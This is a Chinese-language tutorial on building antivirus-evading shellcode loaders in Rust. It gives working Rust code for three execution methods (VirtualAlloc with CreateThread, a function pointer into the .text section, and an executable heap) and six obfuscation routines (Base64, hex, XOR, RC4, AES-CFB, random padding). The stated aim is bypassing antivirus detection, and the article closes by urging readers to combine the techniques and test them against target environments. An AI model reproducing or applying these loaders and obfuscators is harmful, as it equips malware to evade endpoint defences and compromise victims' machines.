Rust免杀 - Shellcode加载与混淆
字数 696 2025-08-05 11:39:45

Rust免杀技术:Shellcode加载与混淆详解

前言

本文详细讲解如何使用Rust语言实现Shellcode的加载与混淆技术,以达到绕过杀毒软件检测的目的。Rust因其编译体积小、热度相对较低等特点,在免杀领域具有天然优势。

Shellcode加载方式

1. 调用WinAPI加载

依赖配置

Cargo.toml中添加:

winapi = {version="0.3.9",features=["winuser","processthreadsapi","memoryapi","errhandlingapi","synchapi"]}

实现代码

use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
    let buffer = include_bytes!("..\\calc.bin");
    unsafe {
        let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);
        if GetLastError() == 0 {
            std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
            let mut threadid = 0;
            let threadhandle = CreateThread(
                std::ptr::null_mut(),
                0,
                Some(transmute(ptr)),
                std::ptr::null_mut(),
                0,
                &mut threadid,
            );
            WaitForSingleObject(threadhandle, 0xFFFFFFFF);
        } else {
            println!("执行失败:{}", GetLastError());
        }
    }
}

关键点

  1. 使用VirtualAlloc申请可读写执行内存
  2. 使用CreateThread创建线程执行shellcode
  3. WaitForSingleObject等待线程结束

2. 函数指针方式

fn main() {
    const BUFFER_BYTES: &[u8] = include_bytes!("..\\calc.bin");
    const BUFFER_SIZE: usize = BUFFER_BYTES.len();
    
    #[link_section = ".text"]
    static BUFFER: [u8; BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
    
    unsafe {
        let exec = std::mem::transmute::<*const u8, fn()>(&BUFFER as *const u8);
        exec();
    }
}

关键点

  1. 使用link_section将shellcode放入.text
  2. 使用transmute将指针转换为函数指针

3. HeapAPI方式

依赖配置

[dependencies]
winapi = {version="0.3.9",features=["winuser","heapapi","errhandlingapi"]}

实现代码

use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;

fn main() {
    let buffer = include_bytes!("..\\calc.bin");
    unsafe {
        let heap = HeapCreate(0x40000, 0, 0);
        let ptr = HeapAlloc(heap, 8, buffer.len());
        if GetLastError() == 0 {
            std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());
            let exec = transmute::<*mut c_void, fn()>(ptr);
            exec();
        }
    }
}

关键点

  1. 使用HeapCreate创建可执行堆
  2. 使用HeapAlloc分配内存
  3. 相比VirtualAlloc更隐蔽

Shellcode混淆方式

1. Base64编码

依赖配置

[dependencies]
base64 = "0.20.0"

实现代码

fn b64_enc(shellcode: &[u8]) -> String {
    base64::encode(shellcode)
}

fn b64_dec(shellcode: String) -> Vec<u8> {
    base64::decode(shellcode).expect("Error")
}

2. Hex编码

依赖配置

[dependencies]
hex = "0.4.3"

实现代码

fn hex_enc(shellcode: &[u8]) -> String {
    hex::encode(shellcode)
}

fn hex_dec(shellcode: String) -> Vec<u8> {
    hex::decode(shellcode).expect("Error")
}

3. 异或加密

实现代码

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
    let mut encrypted = Vec::new();
    for (i, &b) in shellcode.iter().enumerate() {
        encrypted.push(b ^ key[i % key.len()]);
    }
    base64::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec<u8> {
    let encrypted = base64::decode(encrypted).expect("msg");
    let mut decrypted = Vec::new();
    for (i, &b) in encrypted.iter().enumerate() {
        decrypted.push(b ^ key[i % key.len()]);
    }
    decrypted
}

4. RC4加密

依赖配置

[dependencies]
rust-crypto="0.2.36"
base64="0.13.0"
rustc-serialize = "0.3"

实现代码

use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;

fn enc(shellcode: &[u8], key: &str) -> String {
    let mut rc4 = Rc4::new(key.as_bytes());
    let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
    rc4.process(shellcode, &mut result);
    base64::encode(&mut result)
}

fn dec(b64: &str, key: &str) -> Vec<u8> {
    let mut result = match base64::decode(b64) {
        Ok(result) => result,
        _ => "".as_bytes().to_vec(),
    };
    let mut rc4 = Rc4::new(key.as_bytes());
    let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
    rc4.process(&mut result[..], &mut shellcode);
    shellcode
}

5. AES-CFB加密

依赖配置

[dependencies]
aes="0.7.5"
hex="0.4.3"
block-modes="0.8.1"
hex-literal="0.3.3"

实现代码

use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;

type Aes128ECfb = Cfb<Aes128, Pkcs7>;

fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
    let key = key.as_bytes().to_vec();
    let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();
    let pos = shellcode.len();
    let mut buffer = [0u8; 2560];
    buffer[..pos].copy_from_slice(shellcode);
    let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();
    hex::encode(ciphertext)
}

fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec<u8> {
    let binding = hex::decode(encrypted).expect("Decoding failed");
    let ciphertext = binding.as_slice();
    let key = key.as_bytes().to_vec();
    let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();
    let mut buf = ciphertext.to_vec();
    let shellcode = cipher.decrypt(&mut buf).unwrap();
    shellcode.to_vec()
}

6. 添加随机字符

实现代码

fn add_random(xor_string: &str, key: &str) -> String {
    let mut result = String::new();
    for (i, c) in xor_string.chars().enumerate() {
        result.push(c);
        result.push(key.chars().nth(i % key.len()).unwrap());
    }
    hex::encode(&result)
}

fn rm_random(random_string: &str) -> Vec<u8> {
    let mut result = String::new();
    let random_string = hex::decode(random_string).expect("Invalid String");
    let random_string = match std::str::from_utf8(random_string.as_slice()) {
        Ok(s) => s,
        Err(_) => "Invalid UTF-8 sequence",
    };
    for (i, c) in random_string.chars().enumerate() {
        if i % 2 == 0 {
            result.push(c);
        }
    }
    result.as_bytes().to_vec()
}

总结

  1. Rust编译体积小,检出率低,是免杀的理想选择
  2. 多种加载方式可以组合使用,增加检测难度
  3. 多种混淆方式可以叠加使用,提高免杀效果
  4. 实际应用中建议结合多种加载和混淆方式

通过合理组合上述技术,可以构建出高效的免杀shellcode加载器。建议在实际使用前进行充分测试,并根据目标环境调整技术组合。

Rust免杀技术:Shellcode加载与混淆详解 前言 本文详细讲解如何使用Rust语言实现Shellcode的加载与混淆技术,以达到绕过杀毒软件检测的目的。Rust因其编译体积小、热度相对较低等特点,在免杀领域具有天然优势。 Shellcode加载方式 1. 调用WinAPI加载 依赖配置 在 Cargo.toml 中添加: 实现代码 关键点 使用 VirtualAlloc 申请可读写执行内存 使用 CreateThread 创建线程执行shellcode WaitForSingleObject 等待线程结束 2. 函数指针方式 关键点 使用 link_section 将shellcode放入 .text 段 使用 transmute 将指针转换为函数指针 3. HeapAPI方式 依赖配置 实现代码 关键点 使用 HeapCreate 创建可执行堆 使用 HeapAlloc 分配内存 相比 VirtualAlloc 更隐蔽 Shellcode混淆方式 1. Base64编码 依赖配置 实现代码 2. Hex编码 依赖配置 实现代码 3. 异或加密 实现代码 4. RC4加密 依赖配置 实现代码 5. AES-CFB加密 依赖配置 实现代码 6. 添加随机字符 实现代码 总结 Rust编译体积小,检出率低,是免杀的理想选择 多种加载方式可以组合使用,增加检测难度 多种混淆方式可以叠加使用,提高免杀效果 实际应用中建议结合多种加载和混淆方式 通过合理组合上述技术,可以构建出高效的免杀shellcode加载器。建议在实际使用前进行充分测试,并根据目标环境调整技术组合。